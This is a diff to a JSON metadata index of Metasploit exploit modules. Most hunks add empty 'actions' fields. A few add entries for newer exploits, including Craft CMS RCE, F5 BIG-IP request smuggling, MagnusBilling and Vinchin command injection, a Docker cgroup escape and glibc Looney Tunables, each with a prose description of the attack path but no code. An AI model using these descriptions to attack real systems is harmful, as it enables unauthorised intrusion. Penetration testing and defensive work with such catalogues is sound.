"name": "Bash Brace Expansion Command Encoder", @@ -58080,7 +63475,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_aix/local/invscout_rpm_priv_esc": { "name": "invscout RPM Privilege Escalation", @@ -58134,7 +63532,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_aix/local/xorg_x11_server": { "name": "Xorg X11 Server Local Privilege Escalation", @@ -58186,7 +63587,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_aix/rpc_cmsd_opcode21": { "name": "AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow", @@ -58593,7 +63997,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_android/local/futex_requeue": { "name": "Android 'Towelroot' Futex Requeue Kernel Exploit", @@ -58655,7 +64062,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_android/local/janus": { "name": "Android Janus APK Signature bypass", @@ -58712,7 +64122,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_android/local/put_user_vroot": { "name": "Android get_user/put_user Exploit", @@ -58759,7 +64172,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_android/local/su_exec": { "name": "Android 'su' Privilege Escalation", @@ -58806,7 +64222,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_apple_ios/browser/safari_jit": { "name": "Safari Webkit JIT Exploit for iOS 7.1.2", @@ -59284,7 +64703,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_freebsd/ftp/proftp_telnet_iac": { "name": "ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)", @@ -59642,7 +65064,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_freebsd/local/ip6_setpktopt_uaf_priv_esc": { "name": "FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation", @@ -59708,7 +65133,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_freebsd/local/mmap": { "name": "FreeBSD 9 Address Space Manipulation Privilege Escalation", @@ -59757,7 +65185,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_freebsd/local/rtld_execl_priv_esc": { "name": "FreeBSD rtld execl() Privilege Escalation", @@ -59809,7 +65240,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_freebsd/local/watchguard_fix_corrupt_mail": { "name": "Watchguard XCS FixCorruptMail Local Privilege Escalation", @@ -59851,7 +65285,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_freebsd/misc/citrix_netscaler_soap_bof": { "name": "Citrix NetScaler SOAP Handler Remote Code Execution", @@ -63021,6 +68458,73 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/craftcms_unauth_rce_cve_2023_41892": { + "name": "Craft CMS unauthenticated Remote Code Execution (RCE)", + "fullname": "exploit/linux/http/craftcms_unauth_rce_cve_2023_41892", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-09-13", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "Thanh", + "chybeta" + ], + "description": "This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular\n content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability\n allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity\n of the application.\n\n The vulnerability occurs using a PHP object creation in the `\\craft\\controllers\\ConditionsController` class\n which allows to run arbitrary PHP code by escalating the object creation calling some methods available in\n `\\GuzzleHttp\\Psr7\\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which\n stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that\n facilitates the reading of images, performance of image processing tasks, and writing of results back\n to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the\n Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the\n malicious PHP code and gaining access to the system.\n\n Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain\n access to the underlying operating system as the user that the web services are running as (typically www-data).", + "references": [ + "CVE-2023-41892", + "URL-https://blog.calif.io/p/craftcms-rce", + "URL-https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/", + "URL-https://github.com/advisories/GHSA-4w8r-3xrw-v25g", + "URL-https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892" + ], + "platform": "Linux,PHP,Unix", + "arch": "cmd, php, x64, x86", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP", + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2023-12-21 12:06:21 +0000", + "path": "/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb", + "is_install_path": true, + "ref_name": "linux/http/craftcms_unauth_rce_cve_2023_41892", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/crypttech_cryptolog_login_exec": { "name": "Crypttech CryptoLog Remote Code Execution", "fullname": "exploit/linux/http/crypttech_cryptolog_login_exec", @@ -64753,11 +70257,11 @@ "session_types": false, "needs_cleanup": null }, - "exploit_linux/http/f5_bigip_tmui_rce": { + "exploit_linux/http/f5_bigip_tmui_rce_cve_2020_5902": { "name": "F5 BIG-IP TMUI Directory Traversal and File Upload RCE", - "fullname": "exploit/linux/http/f5_bigip_tmui_rce", + "fullname": "exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902", "aliases": [ - + "exploit/linux/http/f5_bigip_tmui_rce" ], "rank": 200, "disclosure_date": "2020-06-30", @@ -64794,10 +70298,10 @@ "Unix Command", "Linux Dropper" ], - "mod_time": "2021-02-16 13:56:50 +0000", - "path": "/modules/exploits/linux/http/f5_bigip_tmui_rce.rb", + "mod_time": "2023-11-01 16:54:47 +0000", + "path": "/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb", "is_install_path": true, - "ref_name": "linux/http/f5_bigip_tmui_rce", + "ref_name": "linux/http/f5_bigip_tmui_rce_cve_2020_5902", "check": true, "post_auth": false, "default_credential": false, @@ -64817,6 +70321,73 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/f5_bigip_tmui_rce_cve_2023_46747": { + "name": "F5 BIG-IP TMUI AJP Smuggling RCE", + "fullname": "exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-10-26", + "type": "exploit", + "author": [ + "Michael Weber", + "Thomas Hendrickson", + "Sandeep Singh", + "Spencer McIntyre" + ], + "description": "This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,\n unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new\n account to execute a command payload. Both the exploit and check methods automatically delete any temporary\n accounts that are created.", + "references": [ + "CVE-2023-46747", + "URL-https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/", + "URL-https://www.praetorian.com/blog/advisory-f5-big-ip-rce/", + "URL-https://my.f5.com/manage/s/article/K000137353", + "URL-https://github.com/projectdiscovery/nuclei-templates/pull/8496", + "URL-https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Command" + ], + "mod_time": "2023-11-02 17:10:20 +0000", + "path": "/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb", + "is_install_path": true, + "ref_name": "linux/http/f5_bigip_tmui_rce_cve_2023_46747", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/f5_icall_cmd": { "name": "F5 iControl iCall::Script Root Command Execution", "fullname": "exploit/linux/http/f5_icall_cmd", @@ -68423,6 +73994,70 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/magnusbilling_unauth_rce_cve_2023_30258": { + "name": "MagnusBilling application unauthenticated Remote Command Execution.", + "fullname": "exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-06-26", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "Eldstal" + ], + "description": "A Command Injection vulnerability in MagnusBilling application 6.x and 7.x allows\n remote attackers to run arbitrary commands via unauthenticated HTTP request.\n A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec().\n The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and\n not properly sanitised/escaped.\n After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands.\n The commands run with the privileges of the web server process, typically `www-data` or `asterisk`.\n At a minimum, this allows an attacker to compromise the billing system and its database.\n\n The following MagnusBilling applications are vulnerable:\n - MagnusBilling application version 6 (all versions);\n - MagnusBilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability;", + "references": [ + "CVE-2023-30258", + "URL-https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258", + "URL-https://eldstal.se/advisories/230327-magnusbilling.html" + ], + "platform": "Linux,PHP,Unix", + "arch": "php, cmd, x64, x86", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP", + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2023-10-31 09:29:13 +0000", + "path": "/modules/exploits/linux/http/magnusbilling_unauth_rce_cve_2023_30258.rb", + "is_install_path": true, + "ref_name": "linux/http/magnusbilling_unauth_rce_cve_2023_30258", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/mailcleaner_exec": { "name": "Mailcleaner Remote Code Execution", "fullname": "exploit/linux/http/mailcleaner_exec", @@ -74606,6 +80241,71 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/vinchin_backup_recovery_cmd_inject": { + "name": "Vinchin Backup and Recovery Command Injection", + "fullname": "exploit/linux/http/vinchin_backup_recovery_cmd_inject", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-10-26", + "type": "exploit", + "author": [ + "Gregory Boddin (LeakIX)", + "Valentin Lobstein" + ], + "description": "This module exploits a command injection vulnerability in Vinchin Backup & Recovery\n v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input validation in the\n checkIpExists API endpoint, an attacker can execute arbitrary commands as the\n web server user.", + "references": [ + "CVE-2023-45498", + "CVE-2023-45499", + "URL-https://blog.leakix.net/2023/10/vinchin-backup-rce-chain/", + "URL-https://vinchin.com/" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic" + ], + "mod_time": "2023-11-28 08:10:56 +0000", + "path": "/modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb", + "is_install_path": true, + "ref_name": "linux/http/vinchin_backup_recovery_cmd_inject", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ], + "AKA": [ + "Vinchin Command Injection" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144": { "name": "VMware NSX Manager XStream unauthenticated RCE", "fullname": "exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144", @@ -76585,7 +82285,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/abrt_sosreport_priv_esc": { "name": "ABRT sosreport Privilege Escalation", @@ -76635,7 +82338,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/af_packet_chocobo_root_priv_esc": { "name": "AF_PACKET chocobo_root Privilege Escalation", @@ -76697,7 +82403,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/af_packet_packet_set_ring_priv_esc": { "name": "AF_PACKET packet_set_ring Privilege Escalation", @@ -76754,7 +82463,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/apport_abrt_chroot_priv_esc": { "name": "Apport / ABRT chroot Privilege Escalation", @@ -76810,7 +82522,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/apt_package_manager_persistence": { "name": "APT Package Manager Persistence", @@ -76853,7 +82568,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/asan_suid_executable_priv_esc": { "name": "AddressSanitizer (ASan) SUID Executable Privilege Escalation", @@ -76910,7 +82628,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/autostart_persistence": { "name": "Autostart Desktop Item Persistence", @@ -76953,7 +82674,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/bash_profile_persistence": { "name": "Bash Profile Persistence", @@ -77006,7 +82730,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/blueman_set_dhcp_handler_dbus_priv_esc": { "name": "blueman set_dhcp_handler D-Bus Privilege Escalation", @@ -77057,7 +82784,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/bpf_priv_esc": { "name": "Linux BPF doubleput UAF Privilege Escalation", @@ -77114,7 +82844,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/bpf_sign_extension_priv_esc": { "name": "Linux BPF Sign Extension Local Privilege Escalation", @@ -77186,7 +82919,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/cpi_runrshell_priv_esc": { "name": "Cisco Prime Infrastructure Runrshell Privilege Escalation", @@ -77230,7 +82966,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/cron_persistence": { "name": "Cron Persistence", @@ -77274,7 +83013,10 @@ "session_types": [ ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe": { "name": "Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE", @@ -77336,7 +83078,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/cve_2021_3493_overlayfs": { "name": "2021 Ubuntu Overlayfs LPE", @@ -77392,7 +83137,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/cve_2021_38648_omigod": { "name": "Microsoft OMI Management Interface Authentication Bypass", @@ -77454,7 +83202,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/cve_2021_4034_pwnkit_lpe_pkexec": { "name": "Local Privilege Escalation in polkits pkexec", @@ -77516,7 +83267,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/cve_2022_0847_dirtypipe": { "name": "Dirty Pipe Local Privilege Escalation via CVE-2022-0847", @@ -77574,7 +83328,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/cve_2022_0995_watch_queue": { "name": "Watch Queue Out of Bounds Write", @@ -77632,7 +83389,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/cve_2022_1043_io_uring_priv_esc": { "name": "io_uring Same Type Object Reuse Priv Esc", @@ -77689,7 +83449,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/desktop_privilege_escalation": { "name": "Desktop Linux Password Stealer and Privilege Escalation", @@ -77733,7 +83496,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/diamorphine_rootkit_signal_priv_esc": { "name": "Diamorphine Rootkit Signal Privilege Escalation", @@ -77783,7 +83549,77 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] + }, + "exploit_linux/local/docker_cgroup_escape": { + "name": "Docker cgroups Container Escape", + "fullname": "exploit/linux/local/docker_cgroup_escape", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-02-04", + "type": "exploit", + "author": [ + "h00die", + "Yiqi Sun", + "Kevin Wang", + "T1erno" + ], + "description": "This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability.\n If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.\n\n A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function.\n This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges\n and bypass the namespace isolation unexpectedly.\n\n More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates.\n If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file,\n an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent\n file is owned by root, so only a user with root access can modify it.", + "references": [ + "URL-https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af", + "URL-https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/", + "URL-https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC", + "URL-https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492", + "URL-https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker/blob/main/escape-check.sh", + "URL-https://pwning.systems/posts/escaping-containers-for-fun/", + "URL-https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html", + "URL-https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation", + "URL-https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/", + "CVE-2022-0492" + ], + "platform": "Linux,Unix", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "BINARY", + "CMD" + ], + "mod_time": "2023-12-01 16:06:48 +0000", + "path": "/modules/exploits/linux/local/docker_cgroup_escape.rb", + "is_install_path": true, + "ref_name": "linux/local/docker_cgroup_escape", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk" + ] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/docker_daemon_privilege_escalation": { "name": "Docker Daemon Privilege Escalation", @@ -77826,7 +83662,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/docker_privileged_container_escape": { "name": "Docker Privileged Container Escape", @@ -77881,7 +83720,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/docker_runc_escape": { "name": "Docker Container Escape Via runC Overwrite", @@ -77943,7 +83785,10 @@ "session_types": [ ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/exim4_deliver_message_priv_esc": { "name": "Exim 4.87 - 4.91 Local Privilege Escalation", @@ -77991,7 +83836,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/f5_create_user": { "name": "F5 Big-IP Create Admin User", @@ -78045,7 +83893,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/glibc_ld_audit_dso_load_priv_esc": { "name": "glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation", @@ -78116,7 +83967,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/glibc_origin_expansion_priv_esc": { "name": "glibc '$ORIGIN' Expansion Privilege Escalation", @@ -78177,7 +84031,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/glibc_realpath_priv_esc": { "name": "glibc 'realpath()' Privilege Escalation", @@ -78232,7 +84089,71 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] + }, + "exploit_linux/local/glibc_tunables_priv_esc": { + "name": "Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)", + "fullname": "exploit/linux/local/glibc_tunables_priv_esc", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-10-03", + "type": "exploit", + "author": [ + "Qualys Threat Research Unit", + "blasty ", + "jheysel-r7" + ], + "description": "A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES\n environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when\n launching binaries with SUID permission to execute code in the context of the root user.\n\n This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are:\n\n Ubuntu:\n 2.35-0ubuntu3.4 > 2.35\n 2.37-0ubuntu2.1 > 2.37\n 2.38-1ubuntu6 > 2.38\n\n Debian:\n 2.31-13-deb11u7 > 2.31\n 2.36-9-deb12u3 > 2.36\n\n Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911\n however this module does not target them.", + "references": [ + "CVE-2023-4911", + "URL-https://haxx.in/files/gnu-acme.py", + "URL-https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt", + "URL-https://security-tracker.debian.org/tracker/CVE-2023-4911", + "URL-https://ubuntu.com/security/CVE-2023-4911" + ], + "platform": "Linux,Unix", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto" + ], + "mod_time": "2023-12-20 13:16:32 +0000", + "path": "/modules/exploits/linux/local/glibc_tunables_priv_esc.rb", + "is_install_path": true, + "ref_name": "linux/local/glibc_tunables_priv_esc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/hp_smhstart": { "name": "HP System Management Homepage Local Privilege Escalation", @@ -78275,7 +84196,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/hp_xglance_priv_esc": { "name": "HP Performance Monitoring xglance Priv Esc", @@ -78338,7 +84262,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/juju_run_agent_priv_esc": { "name": "Juju-run Agent Privilege Escalation", @@ -78385,7 +84312,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/kloxo_lxsuexec": { "name": "Kloxo Local Privilege Escalation", @@ -78430,7 +84360,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/ktsuss_suid_priv_esc": { "name": "ktsuss suid Privilege Escalation", @@ -78483,7 +84416,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/lastore_daemon_dbus_priv_esc": { "name": "lastore-daemon D-Bus Privilege Escalation", @@ -78528,7 +84464,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/libuser_roothelper_priv_esc": { "name": "Libuser roothelper Privilege Escalation", @@ -78590,7 +84529,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/nested_namespace_idmap_limit_priv_esc": { "name": "Linux Nested User Namespace idmap Limit Local Privilege Escalation", @@ -78655,7 +84597,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/netfilter_nft_set_elem_init_privesc": { "name": "Netfilter nft_set_elem_init Heap Overflow Privilege Escalation", @@ -78713,7 +84658,10 @@ "meterpreter", "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/netfilter_priv_esc_ipv4": { "name": "Linux Kernel 4.6.3 Netfilter Privilege Escalation", @@ -78770,7 +84718,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/netfilter_xtables_heap_oob_write_priv_esc": { "name": "Netfilter x_tables Heap OOB Write Privilege Escalation", @@ -78827,7 +84778,10 @@ "meterpreter", "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/network_manager_vpnc_username_priv_esc": { "name": "Network Manager VPNC Username Privilege Escalation", @@ -78880,7 +84834,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/ntfs3g_priv_esc": { "name": "Debian/Ubuntu ntfs-3g Local Privilege Escalation", @@ -78927,7 +84884,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/omniresolve_suid_priv_esc": { "name": "Micro Focus (HPE) Data Protector SUID Privilege Escalation", @@ -78980,7 +84940,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/overlayfs_priv_esc": { "name": "Overlayfs Privilege Escalation", @@ -79028,7 +84991,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/pihole_remove_commands_lpe": { "name": "Pi-Hole Remove Commands Linux Priv Esc", @@ -79086,7 +85052,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/pkexec": { "name": "Linux PolicyKit Race Condition Privilege Escalation", @@ -79133,7 +85102,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/polkit_dbus_auth_bypass": { "name": "Polkit D-Bus Authentication Bypass", @@ -79192,7 +85164,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/ptrace_sudo_token_priv_esc": { "name": "ptrace Sudo Token Privilege Escalation", @@ -79243,7 +85218,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/ptrace_traceme_pkexec_helper": { "name": "Linux Polkit pkexec helper PTRACE_TRACEME local root exploit", @@ -79298,7 +85276,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/rc_local_persistence": { "name": "rc.local Persistence", @@ -79341,7 +85322,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc": { "name": "Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation", @@ -79403,7 +85387,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] 